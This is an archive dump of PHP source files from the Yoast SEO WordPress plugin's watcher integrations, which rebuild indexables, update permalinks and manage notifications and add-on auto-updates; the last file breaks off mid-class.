wordpress-seo/src/integrations/watchers/indexable-ancestor-watcher.php000064400000020342147510273100022411 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Permalink_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Hierarchy_Repository;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Ancestor watcher to update the ancestor's children.
 *
 * Updates its children's permalink when the ancestor itself is updated.
 */
class Indexable_Ancestor_Watcher implements Integration_Interface {

	/**
	 * Represents the indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Represents the indexable hierarchy builder.
	 *
	 * @var Indexable_Hierarchy_Builder
	 */
	protected $indexable_hierarchy_builder;

	/**
	 * Represents the indexable hierarchy repository.
	 *
	 * @var Indexable_Hierarchy_Repository
	 */
	protected $indexable_hierarchy_repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Represents the permalink helper.
	 *
	 * @var Permalink_Helper
	 */
	protected $permalink_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Sets the needed dependencies.
	 *
	 * @param Indexable_Repository           $indexable_repository           The indexable repository.
	 * @param Indexable_Hierarchy_Builder    $indexable_hierarchy_builder    The indexable hierarchy builder.
	 * @param Indexable_Hierarchy_Repository $indexable_hierarchy_repository The indexable hierarchy repository.
	 * @param Indexable_Helper               $indexable_helper               The indexable helper.
	 * @param Permalink_Helper               $permalink_helper               The permalink helper.
	 * @param Post_Type_Helper               $post_type_helper               The post type helper.
	 */
	public function __construct(
		Indexable_Repository $indexable_repository,
		Indexable_Hierarchy_Builder $indexable_hierarchy_builder,
		Indexable_Hierarchy_Repository $indexable_hierarchy_repository,
		Indexable_Helper $indexable_helper,
		Permalink_Helper $permalink_helper,
		Post_Type_Helper $post_type_helper
	) {
		$this->indexable_repository           = $indexable_repository;
		$this->indexable_hierarchy_builder    = $indexable_hierarchy_builder;
		$this->indexable_hierarchy_repository = $indexable_hierarchy_repository;
		$this->indexable_helper               = $indexable_helper;
		$this->permalink_helper               = $permalink_helper;
		$this->post_type_helper               = $post_type_helper;
	}

	/**
	 * Registers the appropriate hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_save_indexable', [ $this, 'reset_children' ], \PHP_INT_MAX, 2 );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<Migrations_Conditional>
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * If an indexable's permalink has changed, updates its children in the hierarchy table and resets the children's permalink.
	 *
	 * @param Indexable $indexable        The indexable.
	 * @param Indexable $indexable_before The old indexable.
	 *
	 * @return bool True if the children were reset.
	 */
	public function reset_children( $indexable, $indexable_before ) {
		if ( ! \in_array( $indexable->object_type, [ 'post', 'term' ], true ) ) {
			return false;
		}

		// If the permalink was null it means it was reset instead of changed.
		if ( $indexable->permalink === $indexable_before->permalink || \is_null( $indexable_before->permalink ) ) {
			return false;
		}

		$child_indexable_ids = $this->indexable_hierarchy_repository->find_children( $indexable );
		$child_indexables    = $this->indexable_repository->find_by_ids( $child_indexable_ids );

		\array_walk( $child_indexables, [ $this, 'update_hierarchy_and_permalink' ] );
		if ( $indexable->object_type === 'term' ) {
			$child_indexables_for_term = $this->get_children_for_term( $indexable->object_id, $child_indexables );

			\array_walk( $child_indexables_for_term, [ $this, 'update_hierarchy_and_permalink' ] );
		}

		return true;
	}

	/**
	 * Finds all child indexables for the given term.
	 *
	 * @param int              $term_id          Term to fetch the indexable for.
	 * @param array<Indexable> $child_indexables The already known child indexables.
	 *
	 * @return array<Indexable> The list of additional child indexables for a given term.
	 */
	public function get_children_for_term( $term_id, array $child_indexables ) {
		// Finds object_ids (posts) for the term.
		$post_object_ids = $this->get_object_ids_for_term( $term_id, $child_indexables );

		// Removes the objects that are already present in the children.
		$existing_post_indexables = \array_filter(
			$child_indexables,
			static function ( $indexable ) {
				return $indexable->object_type === 'post';
			}
		);

		$existing_post_object_ids = \wp_list_pluck( $existing_post_indexables, 'object_id' );
		$post_object_ids          = \array_diff( $post_object_ids, $existing_post_object_ids );

		// Finds the indexables for the fetched post_object_ids.
		$post_indexables = $this->indexable_repository->find_by_multiple_ids_and_type( $post_object_ids, 'post', false );

		// Finds the indexables for the posts that are attached to the term.
		$post_indexable_ids       = \wp_list_pluck( $post_indexables, 'id' );
		$additional_indexable_ids = $this->indexable_hierarchy_repository->find_children_by_ancestor_ids( $post_indexable_ids );

		// Makes sure we only have indexable id's that we haven't fetched before.
		$additional_indexable_ids = \array_diff( $additional_indexable_ids, $post_indexable_ids );

		// Finds the additional indexables.
		$additional_indexables = $this->indexable_repository->find_by_ids( $additional_indexable_ids );

		// Merges all fetched indexables.
		return \array_merge( $post_indexables, $additional_indexables );
	}

	/**
	 * Updates the indexable hierarchy and indexable permalink.
	 *
	 * @param Indexable $indexable The indexable to update the hierarchy and permalink for.
	 *
	 * @return void
	 */
	protected function update_hierarchy_and_permalink( $indexable ) {
		if ( \is_a( $indexable, Indexable::class ) ) {
			$this->indexable_hierarchy_builder->build( $indexable );

			$indexable->permalink = $this->permalink_helper->get_permalink_for_indexable( $indexable );
			$this->indexable_helper->save_indexable( $indexable );
		}
	}

	/**
	 * Retrieves the object id's for a term based on the term-post relationship.
	 *
	 * @param int              $term_id          The term to get the object id's for.
	 * @param array<Indexable> $child_indexables The child indexables.
	 *
	 * @return array<int> List with object ids for the term.
	 */
	protected function get_object_ids_for_term( $term_id, $child_indexables ) {
		global $wpdb;

		$filter_terms = static function ( $child ) {
			return $child->object_type === 'term';
		};

		$child_terms      = \array_filter( $child_indexables, $filter_terms );
		$child_object_ids = \array_merge( [ $term_id ], \wp_list_pluck( $child_terms, 'object_id' ) );

		// Get the term-taxonomy id's for the term and its children.
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
		$term_taxonomy_ids = $wpdb->get_col(
			$wpdb->prepare(
				'SELECT term_taxonomy_id
				FROM %i
				WHERE term_id IN( ' . \implode( ', ', \array_fill( 0, ( \count( $child_object_ids ) ), '%s' ) ) . ' )',
				$wpdb->term_taxonomy,
				...$child_object_ids
			)
		);

		// In the case of faulty data having been saved the above query can return 0 results.
		if ( empty( $term_taxonomy_ids ) ) {
			return [];
		}

		// Get the (post) object id's that are attached to the term.
		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
		return $wpdb->get_col(
			$wpdb->prepare(
				'SELECT DISTINCT object_id
				FROM %i
				WHERE term_taxonomy_id IN( ' . \implode( ', ', \array_fill( 0, \count( $term_taxonomy_ids ), '%s' ) ) . ' )',
				$wpdb->term_relationships,
				...$term_taxonomy_ids
			)
		);
	}
}
wordpress-seo/src/integrations/watchers/indexable-term-watcher.php000064400000007256147510273100021553 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Builders\Indexable_Link_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Site_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Watches Terms/Taxonomies to fill the related Indexable.
 */
class Indexable_Term_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * The link builder.
	 *
	 * @var Indexable_Link_Builder
	 */
	protected $link_builder;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Represents the site helper.
	 *
	 * @var Site_Helper
	 */
	protected $site;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Term_Watcher constructor.
	 *
	 * @param Indexable_Repository   $repository       The repository to use.
	 * @param Indexable_Builder      $builder          The post builder to use.
	 * @param Indexable_Link_Builder $link_builder     The lint builder to use.
	 * @param Indexable_Helper       $indexable_helper The indexable helper.
	 * @param Site_Helper            $site             The site helper.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Builder $builder,
		Indexable_Link_Builder $link_builder,
		Indexable_Helper $indexable_helper,
		Site_Helper $site
	) {
		$this->repository       = $repository;
		$this->builder          = $builder;
		$this->link_builder     = $link_builder;
		$this->indexable_helper = $indexable_helper;
		$this->site             = $site;
	}

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'created_term', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'edited_term', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'delete_term', [ $this, 'delete_indexable' ], \PHP_INT_MAX );
	}

	/**
	 * Deletes a term from the index.
	 *
	 * @param int $term_id The Term ID to delete.
	 *
	 * @return void
	 */
	public function delete_indexable( $term_id ) {
		$indexable = $this->repository->find_by_id_and_type( $term_id, 'term', false );

		if ( ! $indexable ) {
			return;
		}

		$indexable->delete();
		\do_action( 'wpseo_indexable_deleted', $indexable );
	}

	/**
	 * Update the taxonomy meta data on save.
	 *
	 * @param int $term_id ID of the term to save data for.
	 *
	 * @return void
	 */
	public function build_indexable( $term_id ) {
		// Bail if this is a multisite installation and the site has been switched.
		if ( $this->site->is_multisite_and_switched() ) {
			return;
		}

		$term = \get_term( $term_id );

		if ( $term === null || \is_wp_error( $term ) ) {
			return;
		}

		if ( ! \is_taxonomy_viewable( $term->taxonomy ) ) {
			return;
		}

		$indexable = $this->repository->find_by_id_and_type( $term_id, 'term', false );

		// If we haven't found an existing indexable, create it. Otherwise update it.
		$indexable = $this->builder->build_for_id_and_type( $term_id, 'term', $indexable );

		if ( ! $indexable ) {
			return;
		}

		// Update links.
		$this->link_builder->build( $indexable, $term->description );

		$indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) );
		$this->indexable_helper->save_indexable( $indexable );
	}
}
wordpress-seo/src/integrations/watchers/auto-update-watcher.php000064400000002772147510273100021101 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification_Center;

/**
 * Shows a notification for users who have WordPress auto updates enabled but not Yoast SEO auto updates.
 */
class Auto_Update_Watcher implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The notification ID.
	 */
	public const NOTIFICATION_ID = 'wpseo-auto-update';

	/**
	 * The Yoast notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * Auto_Update constructor.
	 *
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 */
	public function __construct( Yoast_Notification_Center $notification_center ) {
		$this->notification_center = $notification_center;
	}

	/**
	 * Initializes the integration.
	 *
	 * On admin_init, it is checked whether the notification to auto-update Yoast SEO needs to be shown or removed.
	 * This is also done when major WP core updates are being enabled or disabled,
	 * and when automatic updates for Yoast SEO are being enabled or disabled.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'remove_notification' ] );
	}

	/**
	 * Removes the notification from the notification center, if it exists.
	 *
	 * @return void
	 */
	public function remove_notification() {
		$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
	}
}
wordpress-seo/src/integrations/watchers/indexable-system-page-watcher.php000064400000005223147510273100023032 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Builders\Indexable_System_Page_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Search result watcher to save the meta data to an Indexable.
 *
 * Watches the search result options to save the meta information when updated.
 */
class Indexable_System_Page_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_System_Page_Watcher constructor.
	 *
	 * @param Indexable_Repository $repository The repository to use.
	 * @param Indexable_Builder    $builder    The post builder to use.
	 */
	public function __construct( Indexable_Repository $repository, Indexable_Builder $builder ) {
		$this->repository = $repository;
		$this->builder    = $builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
	}

	/**
	 * Checks if the home page indexable needs to be rebuild based on option values.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return void
	 */
	public function check_option( $old_value, $new_value ) {
		foreach ( Indexable_System_Page_Builder::OPTION_MAPPING as $type => $options ) {
			foreach ( $options as $option ) {
				// If both values aren't set they haven't changed.
				if ( ! isset( $old_value[ $option ] ) && ! isset( $new_value[ $option ] ) ) {
					return;
				}

				// If the value was set but now isn't, is set but wasn't or is not the same it has changed.
				if (
					! isset( $old_value[ $option ] )
					|| ! isset( $new_value[ $option ] )
					|| $old_value[ $option ] !== $new_value[ $option ]
				) {
					$this->build_indexable( $type );
				}
			}
		}
	}

	/**
	 * Saves the search result.
	 *
	 * @param string $type The type of no index page.
	 *
	 * @return void
	 */
	public function build_indexable( $type ) {
		$indexable = $this->repository->find_for_system_page( $type, false );
		$this->builder->build_for_system_page( $type, $indexable );
	}
}
wordpress-seo/src/integrations/watchers/indexable-author-archive-watcher.php000064400000004516147510273100023521 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Watches the `wpseo_titles` option for changes to the author archive settings.
 */
class Indexable_Author_Archive_Watcher implements Integration_Interface {

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Indexable_Author_Archive_Watcher constructor.
	 *
	 * @param Indexable_Helper $indexable_helper The indexable helper.
	 */
	public function __construct( Indexable_Helper $indexable_helper ) {
		$this->indexable_helper = $indexable_helper;
	}

	/**
	 * Check if the author archives are disabled whenever the `wpseo_titles` option
	 * changes.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action(
			'update_option_wpseo_titles',
			[ $this, 'reschedule_indexable_cleanup_when_author_archives_are_disabled' ],
			10,
			2
		);
	}

	/**
	 * This watcher should only be run when the migrations have been run.
	 * (Otherwise there may not be an indexable table to clean).
	 *
	 * @return string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Reschedule the indexable cleanup routine if the author archives are disabled.
	 * to make sure that all authors are removed from the indexables table.
	 *
	 * When author archives are disabled, they can never be indexed.
	 *
	 * @phpcs:disable SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingTraversableTypeHintSpecification
	 *
	 * @param array $old_value The old `wpseo_titles` option value.
	 * @param array $new_value The new `wpseo_titles` option value.
	 *
	 * @phpcs:enable
	 * @return void
	 */
	public function reschedule_indexable_cleanup_when_author_archives_are_disabled( $old_value, $new_value ) {
		if ( $old_value['disable-author'] !== true && $new_value['disable-author'] === true && $this->indexable_helper->should_index_indexables() ) {
			$cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK );
			if ( $cleanup_not_yet_scheduled ) {
				\wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
			}
		}
	}
}
wordpress-seo/src/integrations/watchers/addon-update-watcher.php000064400000016215147510273100021213 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Enables Yoast add-on auto updates when Yoast SEO is enabled and the other way around.
 *
 * Also removes the auto-update toggles from the Yoast SEO add-ons.
 */
class Addon_Update_Watcher implements Integration_Interface {

	/**
	 * ID string used by WordPress to identify the free plugin.
	 *
	 * @var string
	 */
	public const WPSEO_FREE_PLUGIN_ID = 'wordpress-seo/wp-seo.php';

	/**
	 * A list of Yoast add-on identifiers.
	 *
	 * @var string[]
	 */
	public const ADD_ON_PLUGIN_FILES = [
		'wordpress-seo-premium/wp-seo-premium.php',
		'wpseo-video/video-seo.php',
		'wpseo-local/local-seo.php', // When installing Local through a released zip, the path is different from the path on a dev environment.
		'wpseo-woocommerce/wpseo-woocommerce.php',
		'wpseo-news/wpseo-news.php',
		'acf-content-analysis-for-yoast-seo/yoast-acf-analysis.php', // When installing ACF for Yoast through a released zip, the path is different from the path on a dev environment.
	];

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'add_site_option_auto_update_plugins', [ $this, 'call_toggle_auto_updates_with_empty_array' ], 10, 2 );
		\add_action( 'update_site_option_auto_update_plugins', [ $this, 'toggle_auto_updates_for_add_ons' ], 10, 3 );
		\add_filter( 'plugin_auto_update_setting_html', [ $this, 'replace_auto_update_toggles_of_addons' ], 10, 2 );
		\add_action( 'activated_plugin', [ $this, 'maybe_toggle_auto_updates_for_new_install' ] );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Replaces the auto-update toggle links for the Yoast add-ons
	 * with a text explaining that toggling the Yoast SEO auto-update setting
	 * automatically toggles the one for the setting for the add-ons as well.
	 *
	 * @param string $old_html The old HTML.
	 * @param string $plugin   The plugin.
	 *
	 * @return string The new HTML, with the auto-update toggle link replaced.
	 */
	public function replace_auto_update_toggles_of_addons( $old_html, $plugin ) {
		if ( ! \is_string( $old_html ) ) {
			return $old_html;
		}

		$not_a_yoast_addon = ! \in_array( $plugin, self::ADD_ON_PLUGIN_FILES, true );

		if ( $not_a_yoast_addon ) {
			return $old_html;
		}

		$auto_updated_plugins = \get_site_option( 'auto_update_plugins' );

		if ( $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $auto_updated_plugins ) ) {
			return \sprintf(
				'<em>%s</em>',
				\sprintf(
				/* Translators: %1$s resolves to Yoast SEO. */
					\esc_html__( 'Auto-updates are enabled based on this setting for %1$s.', 'wordpress-seo' ),
					'Yoast SEO'
				)
			);
		}

		return \sprintf(
			'<em>%s</em>',
			\sprintf(
			/* Translators: %1$s resolves to Yoast SEO. */
				\esc_html__( 'Auto-updates are disabled based on this setting for %1$s.', 'wordpress-seo' ),
				'Yoast SEO'
			)
		);
	}

	/**
	 * Handles the situation where the auto_update_plugins option did not previously exist.
	 *
	 * @param string      $option The name of the option that is being created.
	 * @param array|mixed $value  The new (and first) value of the option that is being created.
	 *
	 * @return void
	 */
	public function call_toggle_auto_updates_with_empty_array( $option, $value ) {
		if ( $option !== 'auto_update_plugins' ) {
			return;
		}

		$this->toggle_auto_updates_for_add_ons( $option, $value, [] );
	}

	/**
	 * Enables premium auto updates when free are enabled and the other way around.
	 *
	 * @param string $option    The name of the option that has been updated.
	 * @param array  $new_value The new value of the `auto_update_plugins` option.
	 * @param array  $old_value The old value of the `auto_update_plugins` option.
	 *
	 * @return void
	 */
	public function toggle_auto_updates_for_add_ons( $option, $new_value, $old_value ) {
		if ( $option !== 'auto_update_plugins' ) {
			// If future versions of WordPress change this filter's behavior, our behavior should stay consistent.
			return;
		}

		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return;
		}

		$auto_updates_are_enabled  = $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $new_value );
		$auto_updates_were_enabled = $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $old_value );

		if ( $auto_updates_are_enabled === $auto_updates_were_enabled ) {
			// Auto-updates for Yoast SEO have stayed the same, so have neither been enabled or disabled.
			return;
		}

		$auto_updates_have_been_enabled = $auto_updates_are_enabled && ! $auto_updates_were_enabled;

		if ( $auto_updates_have_been_enabled ) {
			$this->enable_auto_updates_for_addons( $new_value );
			return;
		}
		else {
			$this->disable_auto_updates_for_addons( $new_value );
			return;
		}

		if ( ! $auto_updates_are_enabled ) {
			return;
		}

		$auto_updates_have_been_removed = false;
		foreach ( self::ADD_ON_PLUGIN_FILES as $addon ) {
			if ( ! $this->are_auto_updates_enabled( $addon, $new_value ) ) {
				$auto_updates_have_been_removed = true;
				break;
			}
		}

		if ( $auto_updates_have_been_removed ) {
			$this->enable_auto_updates_for_addons( $new_value );
		}
	}

	/**
	 * Trigger a change in the auto update detection whenever a new Yoast addon is activated.
	 *
	 * @param string $plugin The plugin that is activated.
	 *
	 * @return void
	 */
	public function maybe_toggle_auto_updates_for_new_install( $plugin ) {
		$not_a_yoast_addon = ! \in_array( $plugin, self::ADD_ON_PLUGIN_FILES, true );

		if ( $not_a_yoast_addon ) {
			return;
		}

		$enabled_auto_updates = \get_site_option( 'auto_update_plugins' );
		$this->toggle_auto_updates_for_add_ons( 'auto_update_plugins', $enabled_auto_updates, [] );
	}

	/**
	 * Enables auto-updates for all addons.
	 *
	 * @param string[] $auto_updated_plugins The current list of auto-updated plugins.
	 *
	 * @return void
	 */
	protected function enable_auto_updates_for_addons( $auto_updated_plugins ) {
		$plugins = \array_unique( \array_merge( $auto_updated_plugins, self::ADD_ON_PLUGIN_FILES ) );
		\update_site_option( 'auto_update_plugins', $plugins );
	}

	/**
	 * Disables auto-updates for all addons.
	 *
	 * @param string[] $auto_updated_plugins The current list of auto-updated plugins.
	 *
	 * @return void
	 */
	protected function disable_auto_updates_for_addons( $auto_updated_plugins ) {
		$plugins = \array_values( \array_diff( $auto_updated_plugins, self::ADD_ON_PLUGIN_FILES ) );
		\update_site_option( 'auto_update_plugins', $plugins );
	}

	/**
	 * Checks whether auto updates for a plugin are enabled.
	 *
	 * @param string $plugin_id            The plugin ID.
	 * @param array  $auto_updated_plugins The array of auto updated plugins.
	 *
	 * @return bool Whether auto updates for a plugin are enabled.
	 */
	protected function are_auto_updates_enabled( $plugin_id, $auto_updated_plugins ) {
		if ( $auto_updated_plugins === false || ! \is_array( $auto_updated_plugins ) ) {
			return false;
		}

		return \in_array( $plugin_id, $auto_updated_plugins, true );
	}
}
wordpress-seo/src/integrations/watchers/woocommerce-beta-editor-watcher.php000064400000010233147510273100023354 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional;
use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Helpers\Notification_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Woocommerce_Beta_Editor_Presenter;
use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * Shows a notification for users who have Woocommerce product beta editor enabled.
 */
class Woocommerce_Beta_Editor_Watcher implements Integration_Interface {

	/**
	 * The notification ID.
	 */
	public const NOTIFICATION_ID = 'wpseo-woocommerce-beta-editor-warning';

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * The Yoast notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * The notification helper.
	 *
	 * @var Notification_Helper
	 */
	protected $notification_helper;

	/**
	 * The WooCommerce conditional.
	 *
	 * @var WooCommerce_Conditional
	 */
	protected $woocommerce_conditional;

	/**
	 * The Woocommerce beta editor presenter.
	 *
	 * @var Woocommerce_Beta_Editor_Presenter
	 */
	protected $presenter;

	/**
	 * Woocommerce_Beta_Editor_Watcher constructor.
	 *
	 * @param Yoast_Notification_Center $notification_center     The notification center.
	 * @param Notification_Helper       $notification_helper     The notification helper.
	 * @param Short_Link_Helper         $short_link_helper       The short link helper.
	 * @param WooCommerce_Conditional   $woocommerce_conditional The WooCommerce conditional.
	 */
	public function __construct(
		Yoast_Notification_Center $notification_center,
		Notification_Helper $notification_helper,
		Short_Link_Helper $short_link_helper,
		WooCommerce_Conditional $woocommerce_conditional
	) {
		$this->notification_center     = $notification_center;
		$this->notification_helper     = $notification_helper;
		$this->short_link_helper       = $short_link_helper;
		$this->woocommerce_conditional = $woocommerce_conditional;
		$this->presenter               = new Woocommerce_Beta_Editor_Presenter( $this->short_link_helper );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, Not_Admin_Ajax_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * On admin_init, it is checked whether the notification about Woocommerce product beta editor enabled should be shown.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'manage_woocommerce_beta_editor_notification' ] );
	}

	/**
	 * Manage the Woocommerce product beta editor notification.
	 *
	 * Shows the notification if needed and deletes it if needed.
	 *
	 * @return void
	 */
	public function manage_woocommerce_beta_editor_notification() {
		if ( \get_option( 'woocommerce_feature_product_block_editor_enabled' ) === 'yes' && $this->woocommerce_conditional->is_met() ) {
			$this->maybe_add_woocommerce_beta_editor_notification();
		}
		else {
			$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
		}
	}

	/**
	 * Add the Woocommerce product beta editor enabled notification if it does not exist yet.
	 *
	 * @return void
	 */
	public function maybe_add_woocommerce_beta_editor_notification() {
		if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) {
			$notification = $this->notification();
			$this->notification_helper->restore_notification( $notification );
			$this->notification_center->add_notification( $notification );
		}
	}

	/**
	 * Returns an instance of the notification.
	 *
	 * @return Yoast_Notification The notification to show.
	 */
	protected function notification() {
		return new Yoast_Notification(
			$this->presenter->present(),
			[
				'type'         => Yoast_Notification::ERROR,
				'id'           => self::NOTIFICATION_ID,
				'capabilities' => 'wpseo_manage_options',
				'priority'     => 1,
			]
		);
	}
}
wordpress-seo/src/integrations/watchers/indexable-post-type-change-watcher.php000064400000011776147510273100023775 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification_Center;

/**
 * Post type change watcher.
 */
class Indexable_Post_Type_Change_Watcher implements Integration_Interface {

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Holds the Post_Type_Helper instance.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type_helper;

	/**
	 * The notifications center.
	 *
	 * @var Yoast_Notification_Center
	 */
	private $notification_center;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Not_Admin_Ajax_Conditional::class, Admin_Conditional::class, Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Post_Type_Change_Watcher constructor.
	 *
	 * @param Options_Helper            $options             The options helper.
	 * @param Indexing_Helper           $indexing_helper     The indexing helper.
	 * @param Post_Type_Helper          $post_type_helper    The post_typehelper.
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Indexable_Helper          $indexable_helper    The indexable helper.
	 */
	public function __construct(
		Options_Helper $options,
		Indexing_Helper $indexing_helper,
		Post_Type_Helper $post_type_helper,
		Yoast_Notification_Center $notification_center,
		Indexable_Helper $indexable_helper
	) {
		$this->options             = $options;
		$this->indexing_helper     = $indexing_helper;
		$this->post_type_helper    = $post_type_helper;
		$this->notification_center = $notification_center;
		$this->indexable_helper    = $indexable_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
